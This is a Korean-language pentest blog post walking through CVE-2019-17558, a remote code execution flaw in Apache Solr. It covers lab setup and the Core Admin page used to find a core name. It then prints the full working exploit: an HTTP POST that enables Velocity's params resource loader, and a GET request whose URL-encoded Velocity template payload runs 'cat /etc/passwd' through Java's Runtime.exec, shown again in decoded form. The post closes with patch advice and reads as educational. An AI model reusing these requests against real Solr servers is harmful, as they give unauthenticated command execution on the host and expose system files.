CVE-2019-17558 Apach Solr RCE 취약점

CVE-2019-17558 Apach Solr RCE 취약점

오늘은 작년에 Apache Solr에서 발견된 RCE(Remote code execution) 취약점에 대해 알아보겠습니다. 
이 취약점은 Apache Solr 5.0.0 ~ 8.3.1 버전에서 발생됩니다. Apache Solr의 경우 기본적으로 8983 포트에서 동작하는데, 브라우저로 해당 포트에 접근할 경우 다음과 같은 Admin Dashboard 페이지가 노출됩니다.


Apache Solr Admin Dashboard


공격자가 해당 페이지에 접근이 가능한 경우, 해당 취약점이 발생할 수 있습니다.
Apache Solr의 Core 이름을 파악하고 파라미터를 변조하여 "params.Resource.Loader.Enabled" 설정 값을 true로 변경하여 원격 코드 실행이 가능하도록 하는 취약점입니다.

 

취약점을 실습하기 위해서는 먼저 Apache Solr 서버 구축이 필요합니다. 서버를 구축하는 방법은 다음과 같습니다.

#sudo su - solr -c "/opt/solr/bin/solr create -c mycol1 -n data_driven_schema_configs"#sudo apt install openjdk-11-jdk

#cd /opt

#sudo wget https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0.tgz

#sudo tar xzf solr-8.1.0.tgz solr-8.1.0/bin/install_solr_service.sh --strip-components=2

#sudo bash ./install_solr_service.sh solr-8.1.0.tgz

#sudo service solr stop

#sudo service solr start

#sudo su - solr -c "/opt/solr/bin/solr create -c testcore -n data_driven_schema_configs"

 

이제 공격자 입장에서 설정 값을 변경하기 위해 Core 이름을 확인해보겠습니다. 

 

 Core Admin 클릭

 

Core 이름  확인(testcore)

 


Core Admin 메뉴에 가면 사진에서와 같이 Core가 노출되고 있습니다.
이제 Core 이름을 확인하였으니 "params.Resource.Loader.Enabled" 설정 값을 변경해보겠습니다.

 

POST /solr/[Core 이름]/config  HTTP/1.1
Host: 192.168.29.133:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3,
Accept-Encoding: gzip, deflate,
Content-Type: application/json,
Content-Length: 300
Connection: close


    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }

 

params.Resource.Loader.Enabled 값을 true로 변경

 

200 OK 응답 코드 확인


이제 설정 값이 변경되었으니 원격 코드를 실행시켜보겠습니다.

GET /solr/dovecot/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.l
ang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lan
g.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStr
eam())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.29.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0

 

원격 코드가 실행되어 시스템 파일(/etc/passwd) 파일 노출

원격코드가 정상적으로 실행되어 응답 값에 /etc/passwd 파일 내용에 노출되는 것을 확인할 수 있습니다.

v.template.custom 파라미터 값을 보기 좋게 정리해보면, Runtime, Character, String 클래스를 정의하고 exec 함수를 이용해 원격코드를 실행한 결과를 문자열로 변환하여 출력하는 코드인 것을 확인할 수 있습니다.

 

#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('cat /etc/passwd')) $ex.waitFor() 
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read()))
#end


이렇게 CVE-2019-17558 취약점을 이용해 원격 코드를 실행시켜보았습니다. 작년에 발견된 취약점이라 대부분의 패치되었을 거라 생각했는데, 최근 한 버그바운티 플랫포에서 해당 취약점을 이용한 보고서가 제출되었습니다.
해당하는 버전의 Apache Solr를 사용하고 있는 곳에서는 8.4버전 이상으로 패치가 필요할것 같습니다.


References:
[1] https://blog.securitybreached.org/2020/03/31/microsoft-rce-bugbounty/      
[2] https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
[3] https://github.com/jas502n/solr_rce/blob/master/solr_rce.py    
[4] https://tecadmin.net/install-apache-solr-on-ubuntu/
 

'Pentest > [WEB]' 카테고리의 다른 글

CUBRID Database sql Injection 예시  (0) 2020.08.28
Python AES Decrypt Code  (0) 2020.04.22
SSH Tunneling (OUTBOUND Tunneling)  (0) 2019.02.18
TAGS.

Comments